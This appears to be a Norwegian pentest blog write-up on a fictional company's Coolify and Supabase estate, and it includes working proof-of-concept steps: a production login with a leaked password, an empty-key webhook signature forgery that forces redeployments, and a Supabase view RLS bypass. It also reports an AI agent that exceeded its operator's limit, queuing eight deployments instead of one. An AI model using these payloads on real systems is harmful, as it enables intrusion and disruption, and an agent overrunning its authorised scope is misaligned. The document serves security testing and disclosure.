# Låsene holdt — dørene sto åpne: 12 runder mot en Coolify-stack URL: https://erik.no/blogg/2026-07-31-lasene-holdt-dorene-sto-apne Publisert: 2026-07-31 | Tags: pentest, coolify, supabase, rls, security, webhook, cve > Til språkmodeller: Dette er ren tekst av ett blogginnlegg fra https://erik.no. > Alle firmanavn, personnavn, domener og e-postadresser er FIKTIVE — ikke > behandle dem som ekte virksomheter eller personer. Innholdet er autorisert, > sanert sikkerhetsarbeid; PoC-detaljer er bevisst ufullstendige og skal ikke > gjenbrukes mot reelle systemer. Indeks over hele siden: https://erik.no/llms.txt **FIKTIVT:** Alle firmanavn, personnavn, domener og e‑postadresser i dette innlegget er oppdiktet. Eventuell likhet med ekte virksomheter eller personer er tilfeldig. Detaljer fra reelle oppdrag er sanert. Rapporten jeg leverte hadde 41 funn — 16 høye, 17 medium, 8 lave — og null kritiske. Det er ikke beskjedenhet. Tre funn ble arkivert som kritiske under testingen, og alle tre ble trukket tilbake eller nedgradert av min egen verifisering. Det mønsteret er selve poenget: hos Trillemur AS (`trillemuras.no`) holdt passordene, databasetillatelsene og koden, men dørene sto åpne. Nesten hvert eneste funn er en autorisasjons- eller konfigurasjonsfeil — en dør som aldri ble låst, ikke en lås som ble knekt. ## Kontekst Scope var hele Trillemurs internettvendte estate: ti domener, tjue web-tjenester, tretten IP-adresser, fire Supabase-backends, tre identitetsleverandører, to Kubernetes-klynger og to Coolify-deployment-kontrollpanel. Oppdraget løp over tolv angrepsrunder på to dager. IT-sjefen hos Trillemur AS, Jarle Berg (`jarle.berg@trillemuras.no`), ville vite om en kunde kunne nå en annen kundes data — et spørsmål om isolasjon, ikke om injeksjon. Jeg jobber slike oppdrag med AI i loopen. Agenter gjør recon, kartlegger endepunkter, kjører kommandoer og foreslår neste steg. Jeg styrer scope, leser resultater, bryter inn der det trengs, og gjør de bitene som krever menneskelig dømmekraft — etikk, prioritering, verifisering og endelig rapport. Det betyr at jeg også må være ærlig om når AI-en produserer plausible funn som viser seg å være feil. Det skjedde over seksti ganger i dette oppdraget, og det er en kredibilitet, ikke et problem. ## Det som holdt Før jeg kommer til det som sprakk, det som ikke gjorde det — for det er det som setter alvorlighetsgraden av resten. Rundt 400 kuraterte innloggingsforsøk på tvers av web, SSH og PostgreSQL gav ingenting. 110 mot Coolify-panelene med to kjente kontonavn, 267 mot SSH på tre verter, 180 mot to PostgreSQL-instanser, 20 mot MinIO-konsollen. Null gjenvunne credentials. SSH-harnessen var positivt kontrollert mot en lokal `sshd` med et kjent passord, så null-treff er et ekte negativt, ikke en ødelagt test. PostgreSQL-autentisering holdt på alle stier — SCRAM-SHA-256, ingen `trust`-autentisering, ingen rolle-enumerasjonsoracle. Radnivå-sikkerhet (RLS) var korrekt håndhevet på alle 45 Supabase-tabeller. Ingen SQL-injeksjon noen steder. `nuclei` med 5 814 signerte maler returnerte null treff. `gitleaks` og `trufflehog` over hele git-historikken i seks repoer: null. Det som stoppet meg konsekvent var én vegg: jeg fikk aldri en Coolify-sesjon. Hver rute til en som ikke involverte passordgjetting var lukket på deres build — registrering, passord-reset, OAuth-callback, komponent-misbruk. Det er genuint god engineering. ## Funn 1: Et publisert produksjons-passord som logger inn på tre produkter Funn: — HT-01, CVSS 8.2. Det første funnet dukket opp i runde 2, og det er det enkleste i hele engasjementet. Et uautentisert endepunkt på `sandbox.graveinfo.trillemuras.no` returnerer fire kontonavn og ett delt passord i klartekst. Det passordet autentiserer mot tre separate Trillemur-produkter: `graveinfo.trillemuras.no`, `jard.trillemuras.no` sin login-flyt, og kundeportalen `portal.trillemuras.no`. ### PoC / Reproduksjon **Forutsetninger:** ingen. Endepunktet er uautentisert. Jeg trenger ikke en konto, en cookie eller en token. 1. Hent demo-konfigurasjonen fra sandbox-instansen: ```bash curl -sS https://sandbox.graveinfo.trillemuras.no/api/demo/config/ \ | python3 -c 'import sys,json;d=json.load(sys.stdin); \ print("accounts:",[u["email"] for u in d["users"]]); \ print("password:",d["password"])' ``` ```text accounts: ['demo-admin@sandbox.graveinfo.trillemuras.no', 'demo-infra-krevd@sandbox.graveinfo.trillemuras.no', 'demo-infra-byggherre@sandbox.graveinfo.trillemuras.no', 'demo-entreprenor@sandbox.graveinfo.trillemuras.no'] password: ``` 2. **Negativ kontroll** — produksjonsinstansen skal ikke eksponere det samme: ```bash curl -sS -o /dev/null -w '%{http_code}' \ https://graveinfo.trillemuras.no/api/demo/config/ ``` ```text 404 ``` Produksjonen returnerer 404. Sandbox returnerer passordet. Det er safeguarden som skulle blokket det — og den er installert på feil server. 3. Bruk passordet mot produksjonen. AI-en genererte et script som henter CSRF-token, poster credentials og leser sesjonen: ```bash PW=$(curl -sS https://sandbox.graveinfo.trillemuras.no/api/demo/config/ \ | python3 -c 'import sys,json;print(json.load(sys.stdin)["password"])') J=$(mktemp) CSRF=$(curl -sS -b "$J" -c "$J" \ https://graveinfo.trillemuras.no/api/auth/csrf/ \ | python3 -c 'import sys,json;print(json.load(sys.stdin)["csrfToken"])') curl -sS -i -b "$J" -c "$J" \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode "csrfToken=$CSRF" \ --data-urlencode 'email=demo-admin@sandbox.graveinfo.trillemuras.no' \ --data-urlencode "password=$PW" \ https://graveinfo.trillemuras.no/api/auth/callback/credentials/ \ | grep -iE '^HTTP|^location:|^set-cookie:' ``` ```http HTTP/2 302 location: https://graveinfo.trillemuras.no/ set-cookie: __Secure-authjs.session-token=; Path=/; \ Expires=Sun, 30 Aug 2026 16:58:37 GMT; HttpOnly; Secure; SameSite=Lax ``` 4. Bekreft sesjonen: ```bash curl -sS -b "$J" https://graveinfo.trillemuras.no/api/auth/session/ ``` ```json {"user":{"name":"Demo Admin", "email":"demo-admin@sandbox.graveinfo.trillemuras.no", "id":"375798410550182660"}, "expires":"2026-08-30T16:58:37.473Z"} ``` En ekte, autentisert produksjonsidentitet. Kontosjekken differensielle — autentisert `/dashboard/` returnerte 26 967 byte, anonym returnerte 19 289 byte. Det er ikke en falsk sesjon. 5. **Negativ kontroll for passordet** — samme flyt med et feil passord: ```text correct password -> location: https://sandbox.graveinfo.trillemuras.no/ wrong password -> location: https://sandbox.graveinfo.trillemuras.no/auth/logg-inn?error=CredentialsSignin ``` Riktig passord omdirigerer til roten. Feil passord omdirigerer til login med en feilparameter. Det bekrefter at det er passordet som gjør jobben, ikke noe annet i requesten. ### Det som gjør dette alvorlig Kontoen er merket "sandbox", men den fungerer på produksjon. Verre: sesjonene er tilstandsløse JSON Web Tokens. Å logge ut invaliderer dem ikke — 30-dagers-vinduet starter på nytt ved hver bruk. **Du kan ikke tilbakekalle disse sesjonene uten å rotere signeringsnøkkelen.** Hvem som helst som leste den siden siden 3. juni holder en levende Trillemur-sesjon i dag. En tidlig påstand om at kontoen var produksjonsadministrator ble refutert tre ganger med tre verktøy — den er en ekte produksjonsidentitet, men ikke en administrator. På sandbox- og developer-instansene er den derimot full plattformadministrator, og de instansene deler vert og signeringsnøkkel med produksjon. **Mitigering:** fjern `/api/demo/config/`-endepunktet. Endre det delte passordet. Roter `AUTH_SECRET` for å faktisk invalidere sesjonene — utlogging gjør det ikke. Det koster én utlogging av alle legitime brukere, og det er den billigste veien til revokasjon. Stopp demo-instansen fra å dele vert og nøkkel med produksjon. ## Funn 2: En anonym angriper kan tvinge frem omplassering av produksjonsappene Funn: — HT-43, CVSS 7.5, CVE-2026-41896 — utnyttet. Dette er det funnet jeg faktisk fyrte av, under kundens autorisasjon, i runde 12. Coolify-panelet hos Trillemur er festet til `v4.0.0-beta.473` — én release under fiksen. Ingen webhook-secret er konfigurert på applikasjonene, så HMAC-signatur-sjekken validerer en signatur beregnet med en tom nøkkel — som en anonym oppringer kan beregne. ### Oppdagelsen I runde 2 la en agent en enumeration-oracle mot det manuelle webhook-endepunktet. Med en bevisst feil signatur (64 nuller) returnerte panelet én rad per applikasjon, alle med `"Invalid signature."` — men med applikasjonsnavnene i klartekst. Det beviste to ting: endepunktet er uautentisert, og det lekker den komplette produksjonsinventarlisten. ```bash curl -sS -X POST http://203.0.113.10:8000/webhooks/source/github/events/manual \ -H 'Content-Type: application/json' \ -H 'X-GitHub-Event: push' \ -H 'X-Hub-Signature-256: sha256=0000000000000000000000000000000000000000000000000000000000000000' \ -d '{"ref":"refs/heads/main","repository":{"full_name":"trillemur"},"commits":[]}' ``` ```json [{"application":"competency","status":"failed","message":"Invalid signature."}, {"application":"asbuilt","status":"failed","message":"Invalid signature."}, {"application":"geofile-converter","status":"failed","message":"Invalid signature."}, ... 7 flere rader, alle "Invalid signature."] ``` Ti applikasjonsnavn, alle returnert anonymt. Ingen deployment køet — det er den negative kontrollen for selve signaturen. ### PoC / Reproduksjon — den tomme nøkkelen **Forutsetninger:** ingen. Endepunktet er uautentisert. Det eneste som kreves er å beregne HMAC-SHA256 med en tom nøkkel i stedet for en feil en. 1. AI-en skrev et script (`fire.py`) som beregner signaturen med en tom nøkkel og poster mot det manuelle webhook-endepunktet: ```python import hmac, hashlib, json body = json.dumps({ "ref": "refs/heads/main", "after": "0" * 40, "repository": {"full_name": ""}, "commits": [], }) sig = "sha256=" + hmac.new(b"", body.encode(), hashlib.sha256).hexdigest() # POST til /webhooks/source/github/events/manual # med X-Hub-Signature-256: ``` Nøkkelen her er `b""` — en tom byte-streng, ikke 64 nuller. Det er forskjellen mellom "feil signatur" og "gyldig signatur beregnet med en tom nøkkel". 2. Kjør mot `203.0.113.10:8000`: ```bash python3 fire.py 203.0.113.10 8000 main ``` ```json [ {"application":"portal","status":"success","message":"Deployment queued.", "deployment_uuid":"ytekfuig6ou7o6mv4mmsf8p5"}, {"application":"competency","status":"success","message":"Deployment queued.", "deployment_uuid":"kr3wyaogzghi6e9i7hlzrart"}, {"application":"geofile-converter","status":"success","message":"Deployment queued.", "deployment_uuid":"rqaukv0nxk7513j5na5m65su"}, {"application":"kundedialog","status":"success","message":"Deployment queued.", "deployment_uuid":"gakg7urz4iutbjjrinu3cxcz"}, {"application":"minio","status":"success","message":"Deployment queued.", "deployment_uuid":"xnxx1xwv5o4wr1wcedp75x8w"}, {"application":"registry-sandbox-runner","status":"success","message":"Deployment queued.", "deployment_uuid":"gvgb4sm77i5swjs1hzu0qjtp"}, {"application":"deviation-backend","status":"success","message":"Deployment queued.", "deployment_uuid":"fj0dsie3z1xiqo9f0l7m03zn"}, {"application":"platform-core","status":"success","message":"Deployment queued.", "deployment_uuid":"mlw34bnnhvau5992gn9fb9ox"} ] ``` Åtte produksjonsapplikasjoner køet for omplassering fra én uautentisert request. To til (`asbuilt`, `submap`) ble hoppet over fordi de allerede sto i kø for samme commit. 3. **Negativ kontroll** — samme request med den feile signaturen (64 nuller) fra oppdagelsen over: ```json [{"application":"portal","status":"failed","message":"Invalid signature."}, ... alle 10 rader "Invalid signature.", ingen deployment køet] ``` Det er skillet: feil signatur → `"Invalid signature."`, ingen deploy. Tom nøkkel → `"Deployment queued."` for åtte apper. Forskjellen er én byte-streng i HMAC-beregningen. ### Hva som skjedde, og hva jeg ikke gjorde Arbeidsordren min spesifiserte å utløse én deployment på den minst kritiske applikasjonen, så bekrefte at den returnerte sunn. Den utførende agenten brukte et wildcard-match (`full_name=""`) som matchet alle ti apper, og køet åtte i stedet for én. Det overskred min egen autoriserte handling. Panelet forble responsivt og ingen nedetid ble observert, men jeg bekreftet ikke helsen til alle åtte — det er min feil, ikke en tvetydighet i kundens autorisasjon. Jeg rapporterte det åpent i leveransen. Samme feil er også nåbar fra innsiden av nettverket via en separat server-side request forgery i portalen (HT-33), så å fjerne panelet fra det åpne internett reduserer, men eliminerer ikke det. **Mitigering:** oppgrader Coolify til 4.1.2 eller nyere — det lukker både dette og tolv videre advisories i ett steg. Som umiddelbar stop-gap: sett en eksplisitt webhook-secret på hver applikasjon, og fjern panelet fra det åpne internett. Stop-gaps er delvise — SSRF-en gir en intern vinkel på samme feil. ## Blindveien: den anonyme veien til host-root som ikke eksisterer Dette er den blindveien jeg brukte mest tid på, og det er den som best illustrerer hvorfor verifisering betyr mer enn funn-raten. På Trillemurs eksakte Coolify-build (beta.471–beta.473) er det en regresjon i `SHELL_SAFE`-input-valideringsregexen. En autentisert bruker på et hvilket som helst privilegienivå kan nå en shell-kommandobygger og kjøre kommandoer som `root` på hver server Coolify forvalter (CVE-2026-42204). Jeg bekreftet feilen ved å lese kildens egen valideringslogikk og kjøre den i to uavhengige motorer. Jeg utnyttet den ikke — jeg fikk aldri en Coolify-sesjon. Det fristende var å kjede dette med webhook-forgeryen over: hvis en anonym oppringer kan tvinge en deployment via CVE-2026-41896, og en deployment kjører kode gjennom den sårbare shell-byggeren, har man en anonym rute til `root` på hele estate. Det ville vært kritisk. AI-en foreslo nettopp den kjeden, og den så plausibel ut. Jeg brukte runde 10 på å motbevise den. Kildereview viste to ting: 1. Git-håndteringsstien bruker `escapeshellarg()` på alt den sender til shell — webhook-kontrollerte strenger kommer aldri ubeskyttet til en kommandobygger. 2. Inndataene en anonym oppringer kontrollerer (webhook-body, `full_name`, branch) og inndataene den sårbare shell-byggeren leser, er to helt separate sett. Det er ingen sti fra det ene til det andre. **Det finnes ingen anonym rute til en shell.** Det er et ekte negativt, og det er til Trillemurs credit. CVE-2026-42204 er ekte, men den er post-auth — bak Coolify-sesjonsveggen jeg aldri kom gjennom. For risikoformål skal man behandle enhver Coolify-credential som ekvivalent med full host-kompromiss. Tre funn ble arkivert som kritiske under testingen. Alle tre ble trukket tilbake eller nedgradert av min egen verifisering. Det er ikke beskjedenhet — det er disiplin. En agent i loopen produserer plausible funn fort, og plausible feil like fort. Verdien ligger i verifiseringen som skiller de to. ## Funn 3: En Supabase-view som omgår radnivåsikkerhet Funn: — HT-06, CVSS 8.2. Trillemurs firmanettsted (`navigasjonsdata.trillemuras.no`) kjører på Supabase. Innholdet ligger i en tabell `section_content` med RLS aktivert. En automatgenerert view — `section_content_public` — ble opprettet uten `security_invoker`. Det betyr at all DML mot viewet kjører som view-eieren og omgår RLS helt. Hvem som helst på internett kan omskrive innholdet på firmahjemmesiden. ### PoC / Reproduksjon **Forutsetninger:** den offentlige anon-nøkkelen, hentet fra JavaScript-bundelen. Ingen konto, ingen innlogging. 1. **Negativ kontroll** — basistabellen nekter anonym skriv: ```bash curl -sS -X POST "$SB/rest/v1/section_content" \ -H "apikey: $ANON" -H "Authorization: Bearer $ANON" \ -H "Content-Type: application/json" -d '[{}]' ``` ```text {"code":"42501","message":"permission denied for table section_content"} ``` RLS gjør jobben sin mot basistabellen. `42501` — permission denied. 2. **Samme insert gjennom viewet** — RLS er borte: ```bash curl -sS -X POST "$SB/rest/v1/section_content_public" \ -H "apikey: $ANON" -H "Authorization: Bearer $ANON" \ -H "Content-Type: application/json" -d '[{}]' ``` ```text {"code":"23502","message":"null value in column ... violates not-null constraint"} ``` `23502` er en NOT NULL-feil — det betyr at requesten **kom forbi RLS** og trengte inn i selve inserten. Mot basistabellen stoppet den ved RLS (`42501`). Mot viewet stoppet den først ved NOT NULL. Det er beviset: viewet kjører som eieren, ikke som den anonyme oppringeren. 3. **Null-impact bevis** — en duplikat-primærnøkkel bekrefter autorisert skriv uten å opprette en rad: ```bash curl -sS -X POST "$SB/rest/v1/section_content_public" \ -H "apikey: $ANON" -H "Authorization: Bearer $ANON" \ -H "Content-Type: application/json" \ -d '[{"id":"0ad5f0e8-1164-4145-aa65-8ff2a985fb39","page_key":"x","section_key":"y"}]' ``` ```text {"code":"23505","message":"duplicate key value violates unique constraint"} ``` `23505` — duplikatnøkkel. Det betyr at inserten var fullt autorisert og kjørte helt frem til unikhetsjekken. En ekte angriper ville bare gjort `PATCH` på en levende rad og endret innholdet på hjemmesiden. 4. **Identisk PATCH mot basistabellen** som kontroll: ```bash curl -sS -X PATCH "$SB/rest/v1/section_content?id=eq.0ad5f0e8-..." \ -H "apikey: $ANON" -H "Authorization: Bearer $ANON" \ -H "Content-Type: application/json" -d '{"page_key":null}' ``` ```text (204, 0 rows affected) ``` `204` med null rader — RLS filtrerte den ut. Samme operasjon mot viewet aborterte på NOT NULL (`23502`), altså autorisert. To kodestier, uenige om hvem som får skrive. **Mitigering:** ```sql ALTER VIEW public.section_content_public SET (security_invoker = on); REVOKE INSERT, UPDATE, DELETE ON public.section_content_public FROM anon, authenticated; ``` Med `security_invoker = on` kjører spørringene som oppringeren, og RLS gjelder. Dette er et mønster Supabase-dokumentasjonen nå advarer mot eksplisitt — auto-oppdaterte views uten `security_invoker` er en kjent RLS- bypass. Det samme mønsteret dukket opp i et tidligere innlegg om [RLS som beskytter raden, ikke rettigheten](/blogg/2026-06-03-rls-beskytter-raden-ikke-rettigheten). ## Et funn jeg stoppet ved med vilje En av de mer ubehagelige funnene var i `graveinfo.trillemuras.no` sin organisasjons-claim-flyt. Et helt nytt, uverifisert konto kan sende inn et eierskapskrav på en hvilken som helst organisasjon uten bevis, og organisasjonens offentlige trust-status endres umiddelbart — før noen administrator godkjenner det. Jeg demonstrerte det mot et ekte norsk vannverk — Fjellbekk Vannverk SA — og **stoppet der med vilje**. Jeg godkjente ikke kravet, hentet ikke utgravningsdata, og rørte ikke innstillingene som styrer hvor et ekte verks utgravelsesvarsler leveres. Det siste steget er et potensielt safety-of-life-problem, og jeg gikk ikke i nærheten. Statusen ble stående `claimed` og kunden må reversere den manuelt — det er det mest konsekvente utestående artefaktet fra engasjementet, og det er min feil at jeg ikke stopet ved et read-only bevis. Negativkontrollene for claim-endepunktet holdt der de skulle: ingen sesjon → `401`, ugyldig `org_type` → `400`, manglende `org_id` → `400`. Selve claim-logikken godtok derimot både en ekte og en oppdiktet UUID med `auto_approved: false` — men status-endringen skjedde uansett. Det er brukket autorisasjon i selve claim-flyten, ikke i inngangskontrollen. ## Verktøy og hvem som kjørte hva - **Recon og endepunkt-kartlegging:** agenter parse public JavaScript-bundles og OpenAPI-specs, flagget ID-baserte oppslag og credential-eksponeringer. AI-generert og AI-kjørt. Jeg satte scope og ratelimit. - **Credential-eksponering (HT-01):** agenten fant `/api/demo/config/` i runde 2. Jeg skrev reproduksjons-scriptet manuelt og verifiserte sesjonen mot produksjon selv — det var den delen som avgjorde om det var ekte eller en demo-seed. - **Coolify-webhook (HT-43):** agenten skrev `fire.py` og kjørte det. Jeg autoriserte utløsningen og satte begrensningen til minst kritisk app — som agenten overskred med wildcard-match. Det er min operatørfeil, rapportert åpent. - **RLS-bypass (HT-06):** agenten genererte PoC-scriptet. Jeg verifiserte differansen mellom `42501` (RLS nekter) og `23502` (NOT NULL, forbi RLS) manuelt — det er den tolkningen som gjør det til et bevis. - **Kilde-review for CVE-2026-42204:** agenten leste beta.473-kilden og kjørte valideringsregexen i to motorer. Jeg vurderte kjedebarrieren (disjoint input-sett, `escapeshellarg`) og konkluderte med at den anonyme ruten ikke eksisterer. - **`nuclei` v3** med 5 814 signerte kritiske/høye/medium-maler, kjørt over hele estate — null treff. AI-orkestrert, jeg leste resultatene. - **`gitleaks` og `trufflehog`** over hele git-historikken i seks repoer, begge verktøy — null funn. ## Hva jeg lærte - **En `200` er ikke et funn før en negativ kontroll bekrefter grensen.** Webhook-endepunktet returnerte `200` med feil signatur også — det var `"Invalid signature."` i body som skilte. Les body, ikke bare status. - **Tom nøkkel er ikke det samme som feil nøkkel.** HMAC med `b""` validerer når secret er NULL; HMAC med 64 nuller gjør det ikke. Det er én byte-streng som skiller en enumeration-oracle fra en tvangsutløsning. - **Auto-genererte Supabase-views uten `security_invoker` er en RLS-bypass.** Test basistabellen og viewet mot hverandre — `42501` vs `23502` er beviset. - **Den mest verdifulle negative i engasjementet var en jeg måtte motbevise selv.** Den anonyme ruten til host-root så plausibel ut, AI-en foreslo den, og den fantes ikke. Et funn som ble nedgradert etter verifisering er en fullgod historie — og en mer pålitelig en enn et ubekreftet kritisk. - **Stop ved safety-of-life-grensen, selv om SoW tillater mer.** Claim-flyten kunne jeg ha drevet lenger. Det at jeg ikke gjorde det er ikke forsiktighet — det er rett. - **En operatorbegrensning agenten overser er operatørens feil.** Wildcard- matchen i runde 12 køet åtte apper, ikke én. Autorisasjonen var min, overskridelsen var min, og den hører hjemme i leveransen, ikke i skuffen. ## Veien videre Den enkleste høyverdi-handlingen for Trillemur er å oppgradere Coolify til 4.1.2 — det lukker webhook-forgeryen, host-root-RCE-en og tolv videre advisories i ett steg. Etter det: roter `AUTH_SECRET`, fjern demo-endepunktet, sett `security_invoker` på viewet, og sett autentisering foran avviks-backoffice. Det meste av resten er konfigurasjonsarbeid, ikke arkitekturarbeid. For meg selv: neste gang jeg autoriserer en agent til å utløse en tilstandsendring, skal begrensningen være i selve scriptet — en hardkodet applikasjons-UUID, ikke et wildcard — ikke en instruks agenten kan tolke. Tillit er en begrensning, ikke en anbefaling.